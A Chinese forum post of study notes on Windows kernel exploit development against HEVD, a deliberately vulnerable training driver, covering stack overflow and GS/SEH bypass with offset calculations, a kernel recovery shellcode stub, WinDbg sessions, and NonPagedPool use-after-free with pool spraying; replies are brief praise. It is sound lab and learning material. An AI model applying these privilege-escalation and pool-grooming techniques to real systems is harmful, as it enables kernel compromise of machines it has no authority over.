BeneficialWeb 发表于 2024-1-23 10:22

Windows Exploit Development Experience

本帖最后由 BeneficialWeb 于 2024-1-23 10:22 编辑

# Windows Exploit Development

Saved Return Pointer Overflows

ROP Return Oriented Programming

learn by participating 实践中学习!

Buffer Overflows: a memory location receives more data than it was meant to.

Stack Overflows: a buffer overflow that writes beyond the end of stack.

overwrite the EIP 控制程序指针

shellcode

hijack the execution flow and point it to an area of memory that we control.

SEH

egg hunters

栈溢出覆盖返回地址

unicode 编码

DEP 数据执行保护

ROP-Chain

堆喷射

`MDL`表示一个内存描述符列表结构,它描述那些已被锁定的用户或内核模式内存。

MMPTE用来表示内存管理的页表项(PTE),它被CPU的内存管理单元(MMU)用来转换虚拟地址(VA)到物理地址(PA)。

Heap Feng Shui

Heap Spraying

堆喷到ROP链首

ROP gadget

ASLR

leak info

栈溢出

SMEP & SMAP

任意地址写

Stack spray

GS 栈溢出

类型混淆

Spray 喷射

池溢出

GDI Handles Process Hacker

桌面堆

内核漏洞入门经典靶场——HEVD

用户态堆

前端后端管理器、分配释放算法以及新生的安全缓解措施和主流利用手法

Windows 8系统中的用户堆和内核池

堆风水的设计策略以及手法

(https://github.com/BeneficialCode/KReClassEx)

```c
.load F:\cpp\KReClassEx\x64\Release\KDbgEngExt.dll
!runserver F:\cpp\KReClassEx\KDbgEngExt\config.json
.load F:\cpp\KReClassEx\x64\Debug\KDbgEngExt.dll
.unload KDbgEngExt.dll
!runserver F:\cpp\KReClassEx\KDbgEngExt\config.json
```

# Stack Overflow

拷贝前





A88为KernelBuffer最大地址,A90 应该为Status栈变量。

此时的栈情况

```c
kd> knL
# ChildEBP RetAddr      
00 8a944ab0 973f4866   HEVD!TriggerBufferOverflowStack+0x10f
01 8a944ad4 973f506c   HEVD!BufferOverflowStackIoctlHandler+0x76
02 8a944afc 83e4a593   HEVD!IrpDeviceIoCtlHandler+0xbc
03 8a944b14 8403e99f   nt!IofCallDriver+0x63
04 8a944b34 84041b71   nt!IopSynchronousServiceTail+0x1f8
05 8a944bd0 840883f4   nt!IopXxxControlFile+0x6aa
06 8a944c04 83e511ea   nt!NtDeviceIoControlFile+0x2a
    <Intermediate frames may have been skipped due to lack of complete unwind>
07 8a944c04 77f070b4 (T) nt!KiFastCallEntry+0x12a
WARNING: Frame IP not in any known module. Following frames may be wrong.
    <Intermediate frames may have been skipped due to lack of complete unwind>
08 014cfd88 7704a671 (T) 0x77f070b4
09 014cfdb4 01393cd3   0x7704a671
0a 014cfe08 77053c45   0x1393cd3
0b 014cfe14 77f237f5   0x77053c45
0c 014cfe54 77f237c8   0x77f237f5
0d 014cfe6c 00000000   0x77f237c8
```

拷贝后会覆写0x24个字节。

0x24 也就是9个栈变量的值。



经过调试发现此处覆写的返回地址不正确,导致利用失败。





修正RET_OVERWRITE 为 12.



```c
bu HEVD!TriggerBufferOverflowStack
```

成果修正后来到了用户层代码。

!

这里返回的时候返回地址不对。

!

修正栈的值为0x20



最终提权成果。

!

系统版本如下
(https://github.com/BeneficialCode/WinArk)

!

条件竞争 单核心不容易复现。

Bypassing SMEP is also interesting as CR4 modification is protected by HyperGuard. We’ll do it using PTE bit-flipping and see how to deal with a lesser-known caveat of this method.

****Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR****

__declspec(safebuffers)

替换SEH handler,拷贝内存导致异常。

handler 是通过push 压入栈的。

计算相关偏移



```c
kd> ? KernelBuffer
Evaluate expression: -2094729068 = 8324f894
```

```c
bu HEVD!TriggerBufferOverflowStackGS
```

要覆盖的SEH Handler所在地址。

![

```c
kd> ? 08324FAA4-8324f894
Evaluate expression: 528 = 00000210
```

执行完HEVD提供的利用后,出现了Bugcheck。



不可执行内存错误

再次调试查看传进来的内存



在0x13138A0下断。

```c
bp 0x13138A0

kd> knL
# ChildEBP RetAddr      
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 8f14f104 83e87622   0x12338a0
01 8f14f128 83e875f4   nt!ExecuteHandler2+0x26
02 8f14f14c 83ebb3b5   nt!ExecuteHandler+0x24
03 8f14f1e0 83ec405c   nt!RtlDispatchException+0xb6
04 8f14f774 83e4ddd6   nt!KiDispatchException+0x17c
05 8f14f7dc 83e4dd8a   nt!CommonDispatchException+0x4a
06 8f14f860 973b8bc8   nt!KiExceptionExit+0x192
07 8f14fab0 973b8a76   HEVD!TriggerBufferOverflowStackGS+0x138
08 8f14fad4 973b90a5   HEVD!BufferOverflowStackGSIoctlHandler+0x76
09 8f14fafc 83e46593   HEVD!IrpDeviceIoCtlHandler+0xf5
```

edi和ebx 为什么要修?怎么修的?怎么确定值的?

因为handler 函数需要传参,修改了寄存器?

```nasm
; Kernel Recovery Stub
      add esp, 0x798                     ; Offset of IRP on stack
      mov edi,                      ; Restore the pointer to IRP
      add esp, 0x8                         ; Offset of DbgPrint string
      mov ebx,                      ; Restore the DbgPrint string
      add esp, 0x234                     ; Target frame to return
      xor eax, eax                         ; Set NTSTATUS SUCCEESS
      pop ebp                              ; Restore saved EBP
      ret 8                              ; Return cleanly
```

调试下断

```nasm
bu HEVD!BufferOverflowStackGSIoctlHandler
kd> ? Irp
Evaluate expression: -1734853924 = 98983adc
kd> r
eax=00000000 ebx=00000000 ecx=00000218 edx=0000004d esi=866ada10 edi=87bc4ef0
eip=909dabb4 esp=98983874 ebp=98983ab0 iopl=0         nv up ei ng nz ac pe nc
cs=0008ss=0010ds=0023es=0023fs=0030gs=0000             efl=00000296
HEVD!TriggerBufferOverflowStackGS+0x124:
909dabb4 8b450c          mov   eax,dword ptr ss:0010:98983abc=00000218
kd> dd UserBuffer L1
98983ab800080dec
kd> dd 00080dec+210
00080ffc001b38a0 ???????? ???????? ????????
0008100c???????? ???????? ???????? ????????
0008101c???????? ???????? ???????? ????????
0008102c???????? ???????? ???????? ????????
0008103c???????? ???????? ???????? ????????
0008104c???????? ???????? ???????? ????????
0008105c???????? ???????? ???????? ????????
0008106c???????? ???????? ???????? ????????
kd> bp 001b38a0
kd> g
Breakpoint 1 hit
001b38a0 55            push    ebp
kd> r
eax=00000000 ebx=00000000 ecx=001b38a0 edx=83ec3636 esi=00000000 edi=00000000
eip=001b38a0 esp=98983108 ebp=98983128 iopl=0         nv up ei pl zr na pe nc
cs=0008ss=0010ds=0023es=0023fs=0030gs=0000             efl=00000246
001b38a0 55            push    ebp
kd> r
eax=00000000 ebx=41414141 ecx=001b38a0 edx=83ec3636 esi=00000000 edi=00000000
eip=001b38f2 esp=98983ad0 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=0008ss=0010ds=0023es=0023fs=0030gs=0000             efl=00000246
001b38f2 c20800          ret   8
```

返回地址应该为`90bdaa76` ,也就是handler 处理完后esp应该为`a47d1ab0`

```nasm
# ChildEBP RetAddr      
00 a47d1ab0 90bdaa76   HEVD!TriggerBufferOverflowStackGS+0x39
01 a47d1ad4 90bdb0a5   HEVD!BufferOverflowStackGSIoctlHandler+0x76
02 a47d1afc 83e88593   HEVD!IrpDeviceIoCtlHandler+0xf5
03 a47d1b14 8407c99f   nt!IofCallDriver+0x63
04 a47d1b34 8407fb71   nt!IopSynchronousServiceTail+0x1f8
05 a47d1bd0 840c63f4   nt!IopXxxControlFile+0x6aa
06 a47d1c04 83e8f1ea   nt!NtDeviceIoControlFile+0x2a
```

通过对esp进行内存查看,可知应该+0x9AC



修正测试一下。

弱者道之用,柔弱胜刚强。

SET_OF_INVALID_CONTEXT

This bug check occurs when some routine attempts to set the stack pointer in the trap frame to a lower value than the current stack pointer value.

```nasm
bu HEVD!TriggerBufferOverflowStackGS
```

根据handler的汇编进一步调整esp的值。

因此先修栈,再修局部变量。



目前已经能正确回到TriggerBufferOverflowStackGS的上层调用。

```nasm
bu HEVD!BufferOverflowStackGSIoctlHandler
```

依托考昔片

洛索洛芬纳贴剂



We can simply force `memcpy` to segfault by letting it continue copying the source buffer all the way to unmapped memory.

The DRIVER_OVERRAN_STACK_BUFFER bug check has a value of 0x000000F7. This indicates that a driver has overrun a stack-based buffer.

This way we redirect the execution to our payload (our shellcode), which first elevates our privileges (in this case, as it's a local kernel EoP exploit), then returns to the parent function (the function that called the function we are exploiting - the parent in the call stack/call tree), without ever running the stack cookie-checking routine.

4 bytes of the stack cookie, 12 bytes of other 3 DWORDs that we don't care about (in the payload referred to as junk) and then finally 4 bytes of the SEH handler. 512 + 4 + 12 + 4 = 532. This is the exact number of bytes that need to be written to the stack for the SEH handler pointer to be overwritten with a value we control.

Finally, to trigger an access violation, we adjust the buffer size parameter sent encapsulated in the IRP, to exceed the size of our payload (so it must be bigger than 532, e.g. 536).

EOPElevation of Privileges

PageSize is 0x1000 (4096). MemoryAddress is the pointer to the special page we are going to allocate our stack-smashing payload (528 bytes of junk, 4 bytes overwriting the SEH handler pointer, pointing at our shellcode, located at the page's tail, starting at 3565-th byte). SuitableMemoryForbuffer is the pointer we are going to pass to HEVD as the UserBuffer. It will point at the 3565-th byte of the 4096-byte page allocated at MemoryAddress. EopPayload is another pointer, another location in user mode, containing our shellcode (so the shellcode is in a separate user mode buffer than the special page we are allocating for the stack-smashing payload):

```nasm
kd> dds a186f7f0
ReadVirtual: a186f7f0 not properly sign extended
a186f7f000000000
a186f7f483ed3c61 nt!KeUpdateSystemTimeAssist+0x5d
a186f7f8d3eff100
a186f7fc000000d1
a186f800a186fab0
a186f80496fedbb7 HEVD!TriggerBufferOverflowStackGS+0x127
a186f808badb0d00
a186f80c00000000
a186f81000000000
a186f81400000000
a186f81800000023
a186f81c00000023
a186f82000000000
a186f82400000001
a186f828002c1004
a186f82c00000000
a186f830a186faa0
a186f83400000030
a186f838a186faa8
a186f83c002c1000
a186f84000000000
a186f844a186f860
a186f84800000000
a186f84c83e8d7f3 nt!memcpy+0x33
a186f85000000008
a186f85400010216
a186f85888264268
a186f85c881bbbf8
a186f860a186fab0
a186f86496fedbc8 HEVD!TriggerBufferOverflowStackGS+0x138
a186f868a186f894
a186f86c002c0dec
......
a186fa9441414141
a186fa9842424242
a186fa9c43434343
a186faa044444444
a186faa401373890
a186faa8f406e31a
a186faac00000000
a186fab0a186fad4
a186fab496feda76 HEVD!BufferOverflowStackGSIoctlHandler+0x76
a186fab8002c0dec
a186fabc00000218
a186fac000000001
a186fac4c0000001
a186fac800000218
a186facc00000000
a186fad0002c0dec
a186fad4a186fafc
```

返回地址选择HEVD!BufferOverflowStackGSIoctlHandler+0x76

进入调用之前

```nasm
kd> r
eax=883c0f48 ebx=00000000 ecx=00000218 edx=000f0dec esi=87112dd0 edi=882ac4f8
eip=97feba69 esp=934f2ac0 ebp=934f2ad4 iopl=0         nv up ei pl nz na po nc
cs=0008ss=0010ds=0023es=0023fs=0030gs=0000             efl=00000202
HEVD!BufferOverflowStackGSIoctlHandler+0x69:
97feba69 8b55f4          mov   edx,dword ptr ss:0010:934f2ac8=00000218

kd> r
eax=000f0dec ebx=00000000 ecx=00000218 edx=00000218 esi=87112dd0 edi=882ac4f8
eip=97feba71 esp=934f2ab8 ebp=934f2ad4 iopl=0         nv up ei pl nz na po nc
cs=0008ss=0010ds=0023es=0023fs=0030gs=0000             efl=00000202
HEVD!BufferOverflowStackGSIoctlHandler+0x71:
97feba71 e81a000000      call    HEVD!TriggerBufferOverflowStackGS (97feba90)

kd> r
eax=00000000 ebx=00000000 ecx=01313890 edx=83ebb636 esi=00000000 edi=00000000
eip=97feba76 esp=934f2ac0 ebp=934f2ad4 iopl=0         nv up ei pl zr na pe nc
cs=0008ss=0010ds=0023es=0023fs=0030gs=0000             efl=00000246
HEVD!BufferOverflowStackGSIoctlHandler+0x76:
97feba76 8945f0          mov   dword ptr ,eax ss:0010:934f2ac4=c0000001
```

经过对比,需要修复的寄存器有esi和edi。

```nasm
esi=88486490 edi=882fe038
kd> r esp
esp=960b70f8
```

使用KReClassEx很快可以定位到



修改shellcode



测试

```nasm
bu HEVD!TriggerBufferOverflowStackGS
```

Enjoy it! &#128578;



# NonPagedPool Use After Free

adjacent 相邻

stale object pointer 过时对象指针

控制堆块布局

(https://fuzzysecurity.com/tutorials/expDev/20.html)

(https://fuzzysecurity.com/tutorials/expDev/19.html)

(https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/)

(https://h0mbre.github.io/HEVD_Pool_Overflow_32bit/#)

(https://h0mbre.github.io/page5/)

(https://mdanilor.github.io/posts/hevd-2/)

UseUaFObjectNonPagedPoolIoctlHandler

FreeUaFObjectNonPagedPool

**AllocateFakeObject**

**Derandomize the Non-Paged Pool**

(https://rootkits.xyz/blog/2018/04/kernel-use-after-free/)

****Allocating the UAF Object in the Pool****

Our real allocation size in the pool is 0x60 bytes.



然后有一个全局变量保存了该指针

```cpp
kd> dd g_UseAfterFreeObjectNonPagedPool L1
8ae640148862be88
```

即使是释放内存池后,该全局变量仍然持有该野指针。



****Allocating a Fake Object****

AllocateFakeObjectNonPagedPool 这个函数能构造一个假的对象,用于控制里面的内容。



可以看到构造的内容如下



****Executing UAF Object Callback****

UseUaFObjectNonPagedPool 提供了释放后利用的条件。

但是现在条件还不够,这个回调地址无法达到预期的值。



```cpp
kd> u 0x8862BDC8
ReadVirtual: 8862bdc8 not properly sign extended
8862bdc8 48            dec   eax
ReadVirtual: 8862bdd8 not properly sign extended
8862bdc9 bc628888be      mov   esp,0BE888862h
ReadVirtual: 8862bdd9 not properly sign extended
8862bdce 628800be6288    bound   ecx,qword ptr
ReadVirtual: 8862bdde not properly sign extended
```

现在指向的还是任意代码,我们期望释放后的地址能填充为我们的假对象,也就是能使函数指针回调能指向shellcode。

****Spraying the Non-Paged Pool****

这个池对象是0x60字节大小,在这里HEVD的例子使用了IoCompletionReserve对象。

去非分页池随机化

分配连续对象

制造holes

**Windows内核池喷射**

内核池喷射是一项使池中分配位置可预测的艺术。

NonPaged Pool

首先通过大量分配该对象使得池非随机化

可以在NonPagedPool(非分页池)中分配ReservedObjects或Semaphore

大量地分配这个对象使我们可以保证Lookaside和ListHead列表已经用尽,从而保证后面所做的每个分配都是使用一个新的页面。

池和句柄列表之间存在一种相关性

在彼此相邻的块上调用CloseHandle来创造一定大小的间隙

使用NtQuerySystemInformation函数可以获取句柄的内核对象地址。

我们不能产生任意大小的空隙,因为这取决于所选择的喷射对象的大小。

UAF需要重新申请到相同的内存块并覆盖成恶意代码,而内核池中可能会有许多空间的内存块,如果释放的内存块刚好和其他空闲的内存块相邻,系统就会将这两个内存块合并,那么再申请内存时, 无法保证刚好用到我们释放的那个内存块。

池喷射需要找到大小合适的内核对象

```cpp
kd> !object \ObjectTypes
Object: 8a205940Type: (86543780) Directory
    ObjectHeader: 8a205928 (new version)
    HandleCount: 0PointerCount: 44
    Directory Object: 8a205df0Name: ObjectTypes

    Hash AddressType                      Name
    ---- -----------                      ----
   0086607f78 Type                      TpWorkerFactory
         86543780 Type                      Directory
   0186603248 Type                      Mutant
         865ecdb0 Type                      Thread
   03871c48c0 Type                      FilterCommunicationPort
   0486604eb0 Type                      TmTx
// ......
         86604f78 Type                      TmTm
   31865ecc20 Type                      IoCompletionReserve
   32866072c0 Type                      Callback
   33872d8a70 Type                      FilterConnectionPort
   348660b268 Type                      Semaphore
```

查看关于IoCompletionReserve对象类型的信息

```cpp
kd> dt nt!_OBJECT_TYPE 865ecc20
   +0x000 TypeList         : _LIST_ENTRY [ 0x865ecc20 - 0x865ecc20 ]
   +0x008 Name             : _UNICODE_STRING "IoCompletionReserve"
   +0x010 DefaultObject    : (null)
   +0x014 Index            : 0xa ''
   +0x018 TotalNumberOfObjects : 0x30d5
   +0x01c TotalNumberOfHandles : 0x30d5
   +0x020 HighWaterNumberOfObjects : 0x3a99
   +0x024 HighWaterNumberOfHandles : 0x3a99
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
   +0x078 TypeLock         : _EX_PUSH_LOCK
   +0x07c Key            : 0x6f436f49
   +0x080 CallbackList   : _LIST_ENTRY [ 0x865ecca0 - 0x865ecca0 ]

kd> dt nt!_OBJECT_TYPE_INITIALIZER 865ecc20+28
   +0x000 Length         : 0x50
   +0x002 ObjectTypeFlags: 0x2 ''
   +0x002 CaseInsensitive: 0y0
   +0x002 UnnamedObjectsOnly : 0y1
   +0x002 UseDefaultObject : 0y0
   +0x002 SecurityRequired : 0y0
   +0x002 MaintainHandleCount : 0y0
   +0x002 MaintainTypeList : 0y0
   +0x002 SupportsObjectCallbacks : 0y0
   +0x004 ObjectTypeCode   : 0
   +0x008 InvalidAttributes : 0xb0
   +0x00c GenericMapping   : _GENERIC_MAPPING
   +0x01c ValidAccessMask: 0xf0003
   +0x020 RetainAccess   : 0
   +0x024 PoolType         : 0 ( NonPagedPool )
   +0x028 DefaultPagedPoolCharge : 0
   +0x02c DefaultNonPagedPoolCharge : 0x5c
   +0x030 DumpProcedure    : (null)
   +0x034 OpenProcedure    : (null)
   +0x038 CloseProcedure   : (null)
   +0x03c DeleteProcedure: (null)
   +0x040 ParseProcedure   : (null)
   +0x044 SecurityProcedure : 0x8406e5b6   longnt!SeDefaultObjectMethod+0
   +0x048 QueryNameProcedure : (null)
   +0x04c OkayToCloseProcedure : (null)
```

可以看到此对象被分配给的池类型为非分页池。

```cpp
kd> !process $@proc
PROCESS 883e8830SessionId: 1Cid: 0e68    Peb: 7ffdf000ParentCid: 0de8
    DirBase: 3f359440ObjectTable: 980fe3e0HandleCount: 12521.
    Image: HackSysEVDExploit.exe
    VadRoot 880b6668 Vads 52 Clone 0 Private 127. Modified 0. Locked 0.
    DeviceMap 91435820
    Token                           8fe11be8
    ElapsedTime                     00:15:04.100
    UserTime                        00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage         176188
    QuotaPoolUsage      3120
    Working Set Sizes (now,min,max)(681, 50, 345) (2724KB, 200KB, 1380KB)
    PeakWorkingSetSize                681
    VirtualSize                     26 Mb
    PeakVirtualSize                   26 Mb
    PageFaultCount                  694
    MemoryPriority                  BACKGROUND
    BasePriority                      8
    CommitCharge                      158

      THREAD 88472128Cid 0e68.0e6cTeb: 7ffde000 Win32Thread: fd3e14f8 WAIT: (UserRequest) UserMode Non-Alertable
            8847cd48Thread

      THREAD 8847cd48Cid 0e68.0e70Teb: 7ffdd000 Win32Thread: 00000000 RUNNING on processor 0
```

查看句柄信息

```cpp
kd> !handle 80

PROCESS 883e8830SessionId: 1Cid: 0e68    Peb: 7ffdf000ParentCid: 0de8
    DirBase: 3f359440ObjectTable: 980fe3e0HandleCount: 12521.
    Image: HackSysEVDExploit.exe

Handle table at 980fe3e0 with 12521 entries in use

0080: Object: 86ce3f50GrantedAccess: 000f0003 Entry: 99174100
Object: 86ce3f50Type: (865ecc20) IoCompletionReserve
    ObjectHeader: 86ce3f38 (new version)
      HandleCount: 1PointerCount: 1

kd> !pool 86ce3f50
Pool page 86ce3f50 region is Unknown
86ce3000 size:   40 previous size:    0(Allocated)Even (Protected)
86ce3040 size:   18 previous size:   40(Free)       ....
86ce3058 size:   40 previous size:   18(Allocated)Even (Protected)
// ......
86ce3ee0 size:   40 previous size:   40(Free)       SeTl
*86ce3f20 size:   60 previous size:   40(Allocated) *IoCo (Protected)
                Pooltag IoCo : Io completion, Binary : nt!io
86ce3f80 size:   40 previous size:   60(Allocated)Even (Protected)
86ce3fc0 size:   40 previous size:   40(Allocated)Even (Protected)
```

可以看到大小为0x60

也可以通过 nt!_POOL_HEADER 验证大小

BlockSize在32位系统中是实际大小<<3,64位是<<4

```cpp
kd> dt nt!_POOL_HEADER 86ce3f20
   +0x000 PreviousSize   : 0y000001000 (0x8)
   +0x000 PoolIndex      : 0y0000000 (0)
   +0x002 BlockSize      : 0y000001100 (0xc)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1         : 0x40c0008
   +0x004 PoolTag          : 0xef436f49
   +0x004 AllocatorBackTraceIndex : 0x6f49
   +0x006 PoolTagHash      : 0xef43
kd> ? 0xc<<3
Evaluate expression: 96 = 00000060
```

ltgb 发表于 2024-1-23 13:20

虽然看不懂,但很厉害

meigui6431 发表于 2024-1-23 15:17

这个有点高级,学习学习,赞&#128077;

get358691874 发表于 2024-1-23 17:02

虽然看不懂,但很厉害

CQGaxm 发表于 2024-1-23 18:26

学习学习,厉害

alphagis 发表于 2024-1-25 09:03

就喜欢看看学学

lws0318 发表于 2024-1-25 10:08

虽然看不懂,但觉得很厉害

hjsen 发表于 2024-1-26 18:53

学习,感谢分享

loginnow 发表于 2024-1-29 14:44

看不懂,但是觉得很高大上

Tath 发表于 2024-2-3 18:01

努力追赶大佬,学习中
页: [1] 2
查看完整版本: Windows Exploit Development Experience